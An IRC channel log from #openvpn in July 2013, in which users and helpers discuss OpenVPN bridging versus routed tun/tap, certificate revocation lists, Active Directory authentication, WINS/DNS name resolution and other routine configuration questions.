14:50 -!- jtrucks_ [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
14:52 -!- _br_- [~bjoern_fr@213-239-215-232.clients.your-server.de] has joined #openvpn
14:52 -!- Thermi_ [~Thermi@unaffiliated/thermi] has joined #openvpn
14:52 -!- RichardBronosky_ [~RichardBr@ec2-50-17-28-78.compute-1.amazonaws.com] has joined #openvpn
14:52 -!- gardar [~gardar@gardar.net] has quit [Ping timeout: 246 seconds]
14:52 -!- sauce [sauce@unaffiliated/sauce] has quit [Ping timeout: 246 seconds]
14:52 -!- zamba [marius@flage.org] has quit [Ping timeout: 246 seconds]
14:52 -!- Varazir [~mircwars@c-94-255-131-158.cust.bredband2.com] has quit [Ping timeout: 246 seconds]
14:52 -!- RichardBronosky [~RichardBr@ec2-50-17-28-78.compute-1.amazonaws.com] has quit [Ping timeout: 246 seconds]
14:52 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has quit [Ping timeout: 246 seconds]
14:52 -!- zeroXten [~zeroXten@37.139.3.39] has quit [Ping timeout: 246 seconds]
14:52 -!- rawtaz [~rawtaz@rho.hobbyhotellet.se] has quit [Ping timeout: 246 seconds]
14:52 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Ping timeout: 246 seconds]
14:52 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds]
14:52 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 246 seconds]
14:52 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 246 seconds]
14:52 -!- troj [~xxx@94.242.205.4] has quit [Ping timeout: 246 seconds]
14:52 -!- Tera [~tera@unaffiliated/tera] has quit [Ping timeout: 246 seconds]
14:52 -!- barhom_ [barhom@netsat.se] has quit [Ping timeout: 246 seconds]
14:52 -!- ele [~maarten@pinky.elexer.com] has quit [Ping timeout: 246 seconds]
14:52 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Read error: Connection reset by peer]
14:52 -!- Thermi_ is now known as Thermi
14:52 -!- rawtaz_ is now known as rawtaz
14:53 -!- Dave2 [~Dave2@freenode/staff/dave2] has quit [Ping timeout: 615 seconds]
14:53 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
14:53 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
14:53 -!- mode/#openvpn [+o mattock] by ChanServ
14:54 -!- Tera_ is now known as Tera
14:54 -!- troj [~xxx@94.242.205.4] has joined #openvpn
14:54 -!- Tera [~tera@ip133-114.seclan.com] has quit [Changing host]
14:54 -!- Tera [~tera@unaffiliated/tera] has joined #openvpn
14:55 -!- _Dave2_ is now known as Dave2
14:58 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn []
15:00 -!- zamba [marius@flage.org] has joined #openvpn
15:01 -!- Champi [Champi@rootshell.fr] has quit [Remote host closed the connection]
15:04 -!- Champi [Champi@rootshell.fr] has joined #openvpn
15:14 -!- randomA [~eclipse@pool-108-46-144-14.nycmny.fios.verizon.net] has joined #openvpn
15:15 < randomA> Hey, if i use torrents through openvpn, will my ISP still know I'm using torrents?
15:15 < randomA> Because everytime i connect to my vpn to use torrents, the router stops
15:16 -!- dazo is now known as dazo_afk
15:23 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Ping timeout: 240 seconds]
15:24 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
15:25 < Casper> randomA: no, there is no way for your isp to know
15:26 < Casper> however your router might be defect
15:34 < jzaw> randomA, also torrents are very heavy on things like state tables ... might be making your vpn endpoint or its router vomit
15:34 -!- randomA [~eclipse@pool-108-46-144-14.nycmny.fios.verizon.net] has quit [Quit: Lost terminal]
15:41 < fischli> jzaw: iiih, you should put it into a bucket to avoid a mess if he's going to vomit :P
15:41 <@krzee> a bit bucket?
15:44 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Ping timeout: 248 seconds]
15:50 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
15:50 -!- Rallias [~rallias@unaffiliated/gasseus] has quit [Disconnected by services]
15:51 -!- Gasseus [~rallias@unaffiliated/gasseus] has joined #openvpn
15:59 -!- Gasseus is now known as Rallias
16:05 -!- fischli1 [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
16:06 -!- fischli1 [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Client Quit]
16:08 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Ping timeout: 240 seconds]
16:14 -!- takamich_ [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:15 -!- takamich_ [~takamichi@c122-219.i07-31.onvol.net] has quit [Client Quit]
16:19 -!- takamich_ [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:20 <+pekster> soapee01: If you're intending to bridge the networks you need to do that at the OS level. You should use routing, not bridging, unless you actually need OSI L2 transport
16:22 -!- takamich_ [~takamichi@c122-219.i07-31.onvol.net] has quit [Client Quit]
16:27 <@krzee> to add to what pekster said, only use bridging when you need layer2 support *to the lan*
16:27 <@krzee> if you simply need layer2 between vpn endpoints, routed tap will work
16:27 <@krzee> !whybridge
16:27 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
16:33 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has quit []
16:33 -!- ljvb [~jason@us.vps.vanbrecht.com] has joined #openvpn
16:33 -!- confusered [~private@unaffiliated/confusered] has left #openvpn []
16:36 -!- kevinlongmusic_ [~kplong@c-24-18-254-15.hsd1.wa.comcast.net] has joined #openvpn
16:38 < kevinlongmusic_> Hello. Hoping to get some pointers on troubleshooting. I have just 2 virtual machines on my remote ESXi host, an openvpn server and a dns server. They are on the same /24 and I have not set up any iptables or anything, they can ping eachother. I can connect to openvpn fine (routed), but I cannot reach the other virtual machine.  I am pushing a route,  added a static route for the vpn subnet back to the vpn server on the dns se
16:38 < kevinlongmusic_> rver machine, and enabled ip_forward=1 on the vpn server .
16:39 -!- torkel_ [~torkel@93.203.193.77.rev.sfr.net] has quit [Ping timeout: 240 seconds]
16:40 -!- uuuppz|2 [~kvirc@77.107.233.34] has joined #openvpn
16:41 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 240 seconds]
16:46 < soapee01> pekster krzee, yeah not that familiar with windows.  trying to find a way to bridge those.  Had assumed the driver handled that somehow.  krzee older setup, now use tun and wins based on your previous advice.
16:47 < soapee01> I may just spin up another VM tomorrow running linux and build the vpn server on that.
17:07 -!- MorgyN_ is now known as MorgyN
17:09 <+pekster> The "driver" never handles OS-level bridging
17:09 <+pekster> THat's up to you
17:10 <+pekster> Under Linux you'd use brctl (or some distros provide a way to set the bridge up as part of the standard networking config,) and on Windows you need to use the control pannel thingy, or perhaps they have some ugly API to do it too
17:15 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
17:17 < xTz> is there a way to remove an accidentally created client from the PKI db?
17:19 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
17:22 -!- master_o1_master [~master_of@p4FD7B55E.dip0.t-ipconnect.de] has joined #openvpn
17:23 <+Eugene> !revoke
17:23 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
17:23 <+Eugene> !crl
17:23 <@vpnHelper> "crl" is (#1) --crl-verify <crl> A CRL (certificate revocation list) is used when a particular key is compromised but when the overall PKI is still intact. The only time when it would be necessary to rebuild the entire PKI from scratch would be if the root certificate key itself was compromised. or (#2) you can make use of CRL by using the revoke-full script in easy-rsa (packaged with openvpn) that
17:23 <@vpnHelper> will create the CRL file for you. ssl-admin will also build a crl for you or (#3) openssl ca -config openssl-1.0.0.cnf -gencrl -out keys/crl.pem
17:24 <+Eugene> You can't "un-sign" a certificate that's been handed out, but you can mark it as no longer valid. This is what a CRL does.
17:25 -!- master_of_master [~master_of@p4FD7BD80.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
17:30 < xTz> hm, okay, tnx
17:43 -!- kevinlongmusic_ [~kplong@c-24-18-254-15.hsd1.wa.comcast.net] has quit [Quit: Leaving]
17:57 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Quit: Nettalk6 - www.ntalk.de]
18:01 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
18:22 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:28 -!- jtrucks_ is now known as jtrucks
18:30 -!- gardar_ is now known as gardar
18:31 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Ping timeout: 240 seconds]
18:34 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
18:35 < Dar1us> anyone use a tap bridge with openvpn?
18:43 <@krzee> !whybridge
18:43 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
18:55 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 248 seconds]
19:00 -!- Denial [Denial@90.202.26.221] has quit []
19:05 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:08 -!- uuuppz|2 [~kvirc@77.107.233.34] has quit [Ping timeout: 240 seconds]
19:35  * havoc researches AD auth for ovpn
19:36 < Dar1us> havoc: can'the t openldap clientauth against AD?
19:37 < havoc> 'I know nothing...yet
19:37 < havoc> just looking into it now
19:41 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 240 seconds]
19:43 < Dar1us> havoc: http://www.openldap.org/lists/openldap-software/200204/msg00186.html
19:43 <@vpnHelper> Title: Re: ldapsearch in Active Directory (at www.openldap.org)
19:43 < Dar1us> just do a donkey query against it and then use the exit code to say wether the user authd
19:43 < havoc> thanks, I'll check it out
19:47 -!- mndo [~mndo@bl16-45-158.dsl.telepac.pt] has joined #openvpn
19:57 <+pekster> RADIUS works too, if you want to use a radius client on the VPN server instead of a full openLDAP setup
20:05 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
20:07 < ljvb> evenin
20:08 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
20:18 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
20:19 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:22 -!- raidz is now known as raidz_away
20:22 < Dar1us> does anyone use openvpn with a tap bridge?
20:22 <+pekster> I'm sure "someone" does. Try asking a smarter question
20:23 < Dar1us> well last time I asked I got various versions of "you are an idiot for doing it" and "I don't do it but you should do something else"
20:23 < Dar1us> so I figured I'd ask first :)
20:24 <@krzee> somewhere around 80% or more of the people who ask about bridging would be better off with routing
20:26 < Dar1us> is that because openvpn bridging is broken, or they don't get any support? :-/
20:27 -!- sauce_ [sauce@ool-ad02ad20.dyn.optonline.net] has quit [Quit: sauce]
20:28 -!- mndo_ [~mndo@bl17-66-145.dsl.telepac.pt] has joined #openvpn
20:32 -!- mndo [~mndo@bl16-45-158.dsl.telepac.pt] has quit [Ping timeout: 256 seconds]
20:40 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
20:42 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:49 <+pekster> Dar1us: It's becuase bridging is more complex and involves extra networking concepts many people new to either networking or VPNs have failed to understand properly
20:49 <+pekster> Dar1us: You're not an idiot for bridging a VPN; you might be misguided if you're doing it for the wrong reasons, however.
20:54 < Dar1us> pekster: sure
20:54 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
20:55 < Dar1us> pekster: I have the knowlege & skills :) It used to work in the past
20:56 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:03 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
21:30 -!- brad`_ is now known as brad
21:33 -!- Thrae [~ircuser@unaffiliated/thrae] has joined #openvpn
21:35 < Thrae> Hi, I'm trying to setup OpenVPN tunneling such that (Windows) clients are interconnected on a virtual LAN, but I keep running into issues where they can't communicate with each other on the network. I'm using pfSense as the server, but I think it's a problem with my settings, not with pfSense.
21:36 -!- mndo_ [~mndo@bl17-66-145.dsl.telepac.pt] has quit [Ping timeout: 260 seconds]
21:42 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
21:45 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Operation timed out]
21:48 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
21:55 < Casper> Hi there, anyone here know stuff about the iphone client one? I think it ignore the proxy directive... Does anyone know if the log should say if it try a proxy or not? how how to confirm or test?
22:16 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 248 seconds]
23:03 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-kkbggiazzosohpec] has quit [Ping timeout: 248 seconds]
23:27 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
23:28 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
23:32 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
23:38 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
23:51 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
23:52 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
--- Day changed Fri Jul 12 2013
00:07 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-xfgnypokjhexpenp] has joined #openvpn
00:27 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
00:28 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
00:31 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
00:58 -!- iokill [~iokill@91.114.127.102] has joined #openvpn
01:02 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
01:08 -!- tharkun [~0@187.188.166.5] has joined #openvpn
01:35 < excalibr> Is there way to scriptingly query the IP and port of openvpn server that I'm connected to?
01:37 < excalibr> Already tried the usual trick with netstat, ss but they can't do their do magic when it involves udp
01:38 < Aketzu> management interface might have something like that
01:39 < derRichard> excalibr: you can always parse the logs
01:39 < Aketzu> or parse commandline, find config, parse config
01:39 < excalibr> Isn't man interface only available on server side
01:39 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:39 < Aketzu> client has it too
01:43 < excalibr> ah nice
01:52 < excalibr> hmm unfortunately, the mngment iface on client side doesn't have any commands that give me the info I want
01:55 < derRichard> excalibr: grep for "link remote:" in the client log...
02:07 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
02:19 -!- takamich_ [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:29 < Dar1us> anyone use bridged tap with openvpn?
02:36 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out]
02:36 -!- janezek [~kristijan@BSN-77-34-66.static.dsl.siol.net] has joined #openvpn
02:37 -!- Poster|x [~poster@cpe-173-88-28-119.columbus.res.rr.com] has joined #openvpn
02:38 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
02:38 -!- lbft [~lbft@unaffiliated/lbft] has quit [Ping timeout: 240 seconds]
02:38 -!- wHATEver [~andrew@mx2.admin.tomsk.ru] has joined #openvpn
02:38 -!- havoc [~havoc@neptune.chaillet.net] has quit [Ping timeout: 240 seconds]
02:38 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
02:39 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 240 seconds]
02:39 -!- myp [~andrew@91.217.110.30] has quit [Ping timeout: 240 seconds]
02:39 -!- EmLeX [~emx@unaffiliated/emlex] has quit [Ping timeout: 240 seconds]
02:39 -!- Poster [~poster@cpe-173-88-28-119.columbus.res.rr.com] has quit [Ping timeout: 264 seconds]
02:39 -!- wHATEver is now known as Guest88034
02:39 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 245 seconds]
02:40 -!- riddle [riddle@us.yunix.net] has joined #openvpn
02:43 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
02:43 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
02:47 -!- mikkel__ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
02:49 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
02:50 <+Eugene> No. Don't bridge.
03:08 -!- zeroXten_ [~zeroXten@0x10.co.uk] has quit [Quit: leaving]
03:09 -!- zeroXten [~zeroXten@0x10.co.uk] has joined #openvpn
03:09 -!- uuuppz|2 [~kvirc@77.107.233.34] has joined #openvpn
03:10 < fischli> Dar1us: you really need L2 traffic ?
03:11 < Dar1us> sigh, yes
03:14 < fischli> good luck :P I don't need that crap (til now)
03:15 < Dar1us> fischli: what is annoying is that when I set it up many moons ago it worked
03:16 < Dar1us> personally, I don't understand the hate. Conceptually it is very simple and you don't need any special casing for software.
03:17 < fischli> Dar1us: the problem may be the current moon phase ... or sun flares :-D
03:18 < fischli> Dar1us: sorry, do not take it for sure ;-)
03:19 < Dar1us> heh
03:19 < Dar1us> also, if I wanted a layer 3 VPN I could just use SSH -D ...
03:20 <+Eugene> The problem is that broadcast domains do not scale well. At all.
03:20 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
03:21 < Dar1us> Eugene: yeah, but the typical number of VPN clients on my network is 0, sometimes 1
03:22 -!- rooth_ is now known as rooth
03:23 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
03:41 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 256 seconds]
03:42 -!- dazo_afk is now known as dazo
03:43 -!- wykydtron [tassadar@persephone.darkness-reigns.net] has quit [Read error: Operation timed out]
03:44 -!- wykydtron [tassadar@persephone.darkness-reigns.net] has joined #openvpn
03:44 -!- brad [~brad@78.129.242.122] has quit [Remote host closed the connection]
03:44 -!- brad [~brad@78.129.242.122] has joined #openvpn
03:44 -!- oBadAtom [~epigramma@supporter/active/BadAtom] has quit [Ping timeout: 240 seconds]
03:45 -!- oBadAtom [~epigramma@supporter/active/BadAtom] has joined #openvpn
03:45 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
03:45 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has quit [Ping timeout: 264 seconds]
03:51 -!- novaflash [~novaflash@vpnserver1.jellemaautomatisering.nl] has joined #openvpn
03:52 -!- novaflash [~novaflash@vpnserver1.jellemaautomatisering.nl] has quit [Changing host]
03:52 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn
03:52 -!- mode/#openvpn [+o novaflash] by ChanServ
04:03 -!- mndo_ [~mndo@bl17-74-100.dsl.telepac.pt] has joined #openvpn
04:08 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
04:09 -!- KristijanL [~kristijan@89-212-22-34.static.t-2.net] has joined #openvpn
04:12 -!- janezek [~kristijan@BSN-77-34-66.static.dsl.siol.net] has quit [Ping timeout: 240 seconds]
04:12 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
04:12 -!- mode/#openvpn [+o mattock_afk] by ChanServ
04:12 -!- mattock_afk is now known as mattock
04:14 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
04:16 -!- mchou_ [~quassel@c-76-21-85-110.hsd1.ca.comcast.net] has quit [Ping timeout: 264 seconds]
04:16 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
04:17 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
04:18 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 240 seconds]
04:20 -!- monk [~aknm@196.14.139.96] has joined #openvpn
04:20 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
04:20 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
04:26 -!- Kristijan [~kristijan@BSN-77-34-66.static.dsl.siol.net] has joined #openvpn
04:26 -!- KristijanL [~kristijan@89-212-22-34.static.t-2.net] has quit [Ping timeout: 240 seconds]
04:29 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 240 seconds]
04:37 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
04:45 -!- greenit [~debian@firewall.mkw.at] has joined #openvpn
04:45 < greenit> hi, i have a problem with wins over openvpn... the server doesn't see any other computers. can you help me plz?
04:46 <+Eugene> !wins
04:46 <@vpnHelper> "wins" is http://oreilly.com/catalog/samba/chapter/book/ch07_03.html is a good link for seeing how to run WINS on samba
04:47 < greenit> Eugene, wins is enabled in samba, it also works, but only the clients can ping the server, but the server not the clients / clients not clients
04:47 <+Eugene> ping depends more upon firewall rules than WINS
04:47 < greenit> there is no firewall
04:48 < greenit> and i think ping <hostname> depends on wins...
04:48 <+Eugene> Windows? Unless you've ripped it out, it's there.
04:48 < greenit> ping <ip> wouldn't
04:48 < greenit> linux
04:48 < greenit> ubuntu 12.04
04:48 <+Eugene> Then what the shit are you usign Samba for? ;-)
04:48 < greenit> iptables is empty
04:49 < greenit> because i want to ping my computers via hostname and not via ip^^
04:49 < greenit> ping and access*
04:49 -!- gardar [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
04:49 <+Eugene> So set up DNS
04:50 <+Eugene> Static addressing and a vpn.yourdomain.com zone work great
04:50 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 240 seconds]
04:50 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
04:50 -!- mode/#openvpn [+v hazardous] by ChanServ
04:52 -!- greenit [~debian@firewall.mkw.at] has quit [Quit: Verlassend]
05:00 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Read error: Connection refused]
05:01 -!- gardar [~gardar@gardar.net] has joined #openvpn
05:01 -!- Denial [Denial@90.202.26.221] has joined #openvpn
05:02 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 240 seconds]
05:03 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
05:04 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
05:12 -!- Poster [~poster@cpe-173-88-28-119.columbus.res.rr.com] has joined #openvpn
05:17 -!- mchou [~quassel@unaffiliated/mchou] has quit [Remote host closed the connection]
05:17 -!- mndo__ [~mndo@bl17-74-100.dsl.telepac.pt] has joined #openvpn
05:18 -!- mndo_ [~mndo@bl17-74-100.dsl.telepac.pt] has quit [Ping timeout: 276 seconds]
05:18 -!- Poster|x [~poster@cpe-173-88-28-119.columbus.res.rr.com] has quit [Ping timeout: 276 seconds]
05:20 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
05:23 < itpings> helo guys
05:23 < itpings> pls help
05:23 < itpings> is it possible to make site to site vpn server and multi site to site vpn server with openvpn ?
05:23 < itpings> or do i have to use something else ?
05:33 -!- uuuppz|2 [~kvirc@77.107.233.34] has quit [Quit: KVIrc 4.2.0 Equilibrium http://www.kvirc.net/]
05:34 < fischli> itpings: of course! everyone does ... almost everyone
05:40 -!- ade_b [~Ade@94.125.18.11] has joined #openvpn
05:40 -!- ade_b [~Ade@94.125.18.11] has quit [Changing host]
05:40 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
05:49 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 256 seconds]
05:50 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
06:33 -!- Slippern [slippern@server02.hjemmeserver.info] has quit [Ping timeout: 245 seconds]
06:35 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 240 seconds]
06:37 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
06:37 -!- mode/#openvpn [+v hazardous] by ChanServ
06:42 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 260 seconds]
06:43 -!- ade_b [~Ade@redhat/adeb] has quit [Remote host closed the connection]
06:44 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
06:44 -!- mode/#openvpn [+v hazardous] by ChanServ
06:46 -!- Guest88034 [~andrew@mx2.admin.tomsk.ru] has left #openvpn []
06:47 -!- iokill [~iokill@91.114.127.102] has quit [Ping timeout: 240 seconds]
06:54 -!- ade_b [~Ade@94.125.18.11] has joined #openvpn
06:54 -!- ade_b [~Ade@94.125.18.11] has quit [Changing host]
06:54 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
06:58 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 245 seconds]
07:00 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
07:08 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 276 seconds]
07:09 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
07:11 -!- itpings [~itpings@89.218.38.200] has quit [Quit: Leaving]
07:11 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
07:11 -!- mode/#openvpn [+v hazardous] by ChanServ
07:16 -!- mikkel__ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
07:20 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 256 seconds]
07:25 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
07:25 -!- mode/#openvpn [+v hazardous] by ChanServ
07:29 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 240 seconds]
07:33 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
07:37 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
07:37 -!- mode/#openvpn [+v hazardous] by ChanServ
07:43 -!- KristijanL [~kristijan@89-212-22-34.static.t-2.net] has joined #openvpn
07:45 -!- janezek [~kristijan@BSN-77-34-66.static.dsl.siol.net] has joined #openvpn
07:46 -!- Kristijan [~kristijan@BSN-77-34-66.static.dsl.siol.net] has quit [Ping timeout: 240 seconds]
07:49 -!- KristijanL [~kristijan@89-212-22-34.static.t-2.net] has quit [Ping timeout: 248 seconds]
07:49 < havoc> hmm, openvpn-auth-ldap may be what I'd want: https://forums.openvpn.net/topic13053.html
07:49 <@vpnHelper> Title: OpenVPN Support Forum Authenticating OpenVPN clients from Active Directory (LDAP) : Tutorials (at forums.openvpn.net)
07:51 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 264 seconds]
07:55 -!- janezek [~kristijan@BSN-77-34-66.static.dsl.siol.net] has quit [Quit: Linkinus - http://linkinus.com]
08:05 -!- takamich_ [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 240 seconds]
08:05 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
08:05 -!- mode/#openvpn [+v hazardous] by ChanServ
08:08 -!- takamich_ [~takamichi@141.255.164.76] has joined #openvpn
08:13 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 248 seconds]
08:20 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
08:20 -!- mode/#openvpn [+v hazardous] by ChanServ
08:29 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 264 seconds]
08:37 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
08:38 -!- mode/#openvpn [+v hazardous] by ChanServ
08:41 -!- vmachine3 [~aashman@office.thomasmurray.com] has joined #openvpn
08:42 -!- vmachine3 [~aashman@office.thomasmurray.com] has left #openvpn []
08:44 -!- Alina-malina [Alina-mali@82.199.217.119] has quit [Ping timeout: 240 seconds]
08:58 -!- takamich_ [~takamichi@141.255.164.76] has quit [Ping timeout: 240 seconds]
09:02 -!- takamich_ [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:06 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 264 seconds]
09:13 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 245 seconds]
09:17 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
09:23 <@krzee> !activedirectory
09:23 <@vpnHelper> "activedirectory" is http://amigo4life.googlepages.com/openvpn for the guide of how to auth against AD
09:23 <@krzee> ^ might be outdated
09:23 <@ecrist> use PAM
